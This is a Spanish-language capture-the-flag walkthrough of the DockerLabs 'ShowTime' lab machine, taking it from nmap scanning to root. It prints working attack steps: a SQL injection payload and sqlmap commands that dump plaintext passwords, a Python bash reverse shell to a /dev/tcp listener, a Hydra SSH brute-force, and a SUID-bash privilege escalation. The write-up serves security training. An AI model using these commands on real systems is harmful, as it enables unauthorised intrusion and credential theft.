miguel@home:~$

ShowTime - DockerLabs

OS Dificultad Creator
Linux Fácil maciiii___

Reconocimiento

Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports 
  • -p-: Escanea todos los puertos (1-65535).
  • --open: Solo muestra los puertos abiertos.
  • -sS: Realiza un escaneo SYN, que es rápido y discreto.
  • --min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.
  • -n: No realiza resolución DNS.
  • -Pn: No realiza ping previo para determinar si el host está activo.
  • -vvv: Muestra resultados detallados y en tiempo real.

image

Durante el escaneo, descubrimos que los siguientes puertos están activos:

  • 22 (SSH)
  • 80 (HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p22,80 -sCV 172.17.0.2 -oG targeted

image

Exploración Web

Al navegar al puerto 80, descubrimos un sitio web con temática de casino, en el cual observamos un panel de login.

image

Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.17.0.2/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

image

No encontramos nada relevante en los directorios, por lo que decidimos investigar el panel de login en busca de posibles vulnerabilidades de inyección.

Inyeccion SQL

Realizamos una prueba de inyección SQL manual para verificar la vulnerabilidad:

' UNION ORDER BY 1 -- -

image

Al recibir un error de MySQL, confirmamos la vulnerabilidad en el portal de inicio de sesión, así que procedimos con sqlmap para automatizar la extracción de información.

image

Ahora ejecutaremos los siguiente comandos.

  1. Listar bases de datos:
    sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch --db
    

    Resultado:

    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] sys
    [*] users
    
  2. Listar tablas en la base de datos “users”:
    sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users --tables
    

    Resultado:

    Database: users
    [1 table]
    +----------+
    | usuarios |
    +----------+
    
  3. Extraer usuarios y contraseñas:
    sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users -T usuarios --dump
    

    Resultado:

    Database: users
    Table: usuarios
    [3 entries]
    +----+----------------------+----------+
    | id | password             | username |
    +----+----------------------+----------+
    | 1  | 123321123321         | lucas    |
    | 2  | 123456123456         | santiago |
    | 3  | MiClaveEsInhackeable | joe      |
    +----+----------------------+----------+
    

ReverseShell

Con el usuario joe, accedemos al sistema de login, donde encontramos una terminal de Python que nos permite ejecutar comandos. Aprovechamos esto para establecer una Reverse Shell.

image

Para ello, ejecutamos el siguiente código en la terminal de Python:

import os; os.system('/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"')

Simultáneamente, en nuestra máquina local, establecemos un listener usando Netcat:

nc -lvnp 4444

image

TTY ReverseShell

Iniciar una sesión de shell interactiva

En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:

script /dev/null -c bash

Suspender la shell

Una vez que el comando anterior está en ejecución, utilizamos

Control+Z

para suspender temporalmente nuestra shell.

Preparar nuestro terminal local:

Antes de volver a nuestra shell, configuramos nuestro terminal local:

stty raw -echo; fg

Resetear la configuración del terminal

Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:

reset

Configura el tipo de terminal:

xterm
export TERM=xterm
export SHELL=bash

Intrusion

Accedimos al sistema como www-data y en /tmp descubrimos un archivo oculto con posibles contraseñas. Lo procesamos en minúsculas y transferimos a nuestra máquina para realizar ataques de fuerza bruta usando Hydra.

image

Para convertir el archivo a minúsculas:

tr "A-Z" "a-z" < ./.hidden_text.txt > minusculas.txt

Fuerza Bruta

Ahora los vamos a pasar a nuestra maquina lo podeis hacerlo tanto copiarlo todo el contenido y pegandolo a un nuevo archivo o a traves de un servidor por http con python.

image

Probamos el usuario luciano con el diccionario generado:

hydra -l luciano -P minusculas.txt  ssh://172.17.0.2 -t 64

image

Como no hay resultado probamos el usuario joe con el diccionario generado:

hydra -l joe -P minusculas.txt  ssh://172.17.0.2 -t 64

image

Contraseña encontrada: chittychittybangbang

Intrusión con Joe

Nos conectamos vía SSH como joe:

ssh joe@172.17.0.2

image

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar posh como luciano.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Escalada de privilegios

sudo -u luciano /bin/posh

image

Al ejecutar sudo -l, notamos que tiene permisos para ejecutar bash como root a /home/luciano/script.sh.Utilizando GTFOBins sabemos cómo explotar estos binarios.

image

Confirmamos que luciano tiene permisos para modificar script.sh, así que procedemos a editarlo para elevar privilegios. En el sistema no disponemos de editores de texto como nano o vim, así que utilizamos el comando echo para modificar el archivo:

image

image

Utilizamos el comando echo para añadir las líneas al archivo script.sh que permitirán escalar a root:

echo " " > script.sh 
echo '#!/bin/bash' > script.sh 
echo 'chmod u+s /bin/bash' >> script.sh 

Esto configura el script para asignar permisos SUID a /bin/bash, permitiéndonos ejecutar bash como root.

image

Ejecutamos el script como root para que asigne los permisos SUID:

sudo -u root /bin/bash /home/luciano/script.sh

Con permisos SUID aplicados a bash, iniciamos una sesión de bash con privilegios de root:

bash -p

Ahora tenemos acceso root en el sistema:

image